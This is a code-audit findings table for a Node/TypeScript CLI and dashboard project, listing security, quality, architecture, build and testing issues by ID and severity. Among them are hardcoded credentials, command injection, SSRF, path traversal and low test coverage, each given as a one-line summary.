SEC-001	CRITICAL	Security	Hardcoded `canvas123` default DB password in docker-compose.yml
SEC-002	CRITICAL	Security	`new Function()` with `require` / `process.env` sandbox escape → RCE
SEC-003	CRITICAL	Security	Command injection via `exec(params.task)` in cloudAgents/failureRecovery
SEC-004	CRITICAL	Security	Hardcoded static salt `'canvas-cli-salt'` breaks AES key derivation
SEC-005	HIGH	Security	Wildcard CORS `origin: '*'` on all dashboard servers
SEC-006	HIGH	Security	JWT secret ephemeral, new random value generated on every restart
SEC-007	HIGH	Security	Zero authentication on any dashboard API route or WebSocket handler
SEC-008	HIGH	Security	SSRF in WebFetch/APIRequest tools — no internal IP range filtering
SEC-009	HIGH	Security	Path traversal in Read/Write/DeleteFileTool — no base directory restriction
SEC-010	HIGH	Security	AWS secret regex too broad — matches any 40-char base64 string
SEC-011	HIGH	Security	Admin password printed in plaintext to console / log aggregators
SEC-012	MEDIUM	Security	Legacy decryption path with hardcoded `'salt'` still active
SEC-013	MEDIUM	Security	SSH host parameter unvalidated — option injection possible
SEC-014	MEDIUM	Security	`require()` used inside ESM with `process.env` exposure
SEC-015	MEDIUM	Security	No input validation on base `DashboardServer` task API
SEC-016	LOW	Security	Incomplete `FILTERED_ENV_VARS` list — some secrets pass through
SEC-017	LOW	Security	MD5 used for file hashing in security-focused module
QUAL-001	HIGH	Quality	2,796 lines of dead code in `.old` files in working tree
QUAL-002	HIGH	Quality	1,134 explicit `any` annotations across 170 files
QUAL-003	HIGH	Quality	15 empty stub route handlers hang connections indefinitely
QUAL-004	HIGH	Quality	`setInterval` timers never cleared on server shutdown — memory leak
QUAL-005	HIGH	Quality	Module-level singletons perform I/O on import — untestable
QUAL-006	MEDIUM	Quality	`Math.random()` used for "production" CPU/disk/network metrics

ID	SEVERITY	CATEGORY	FINDING SUMMARY
QUAL-007	MEDIUM	Quality	Two parallel command registration systems — unclear which is canonical
QUAL-008	MEDIUM	Quality	`/stats` command returns hardcoded fictional data
QUAL-009	MEDIUM	Quality	`require('os')` inside ESM body throws `ReferenceError` at runtime
QUAL-010	MEDIUM	Quality	God classes violating Single Responsibility (MultiUserSystem, orchestrator)
QUAL-011	LOW	Quality	Task completion polling with 100ms interval instead of event-driven
QUAL-012	LOW	Quality	Global `uncaughtException` handler accumulates duplicates in tests
ARCH-001	HIGH	Architecture	Three parallel dashboard implementations — none complete or canonical
ARCH-002	HIGH	Architecture	All user/session data in-memory — lost on every process restart
ARCH-003	MEDIUM	Architecture	Version mismatch: package.json says 3.0.0, production-server.ts says 2.0.0
ARCH-004	MEDIUM	Architecture	`moduleResolution: "bundler"` used without a bundler in tsconfig
ARCH-005	MEDIUM	Architecture	`skipLibCheck: true` masking potential library type errors
BUILD-001	MEDIUM	Build	`@types/*` packages in production `dependencies` instead of `devDependencies`
BUILD-002	MEDIUM	Build	Dockerfile build stage has redundant / incorrect npm dependency install
BUILD-003	MEDIUM	Build	`docker-compose.yml` references non-existent `Dockerfile.web`
BUILD-004	MEDIUM	Build	Docker base image uses floating tags — no pinned digest
TEST-001	HIGH	Testing	~3% test coverage — 7 tests for 218 source files, none cover security modules
TEST-002	MEDIUM	Testing	Singleton `ErrorHandler` contaminates global process state in tests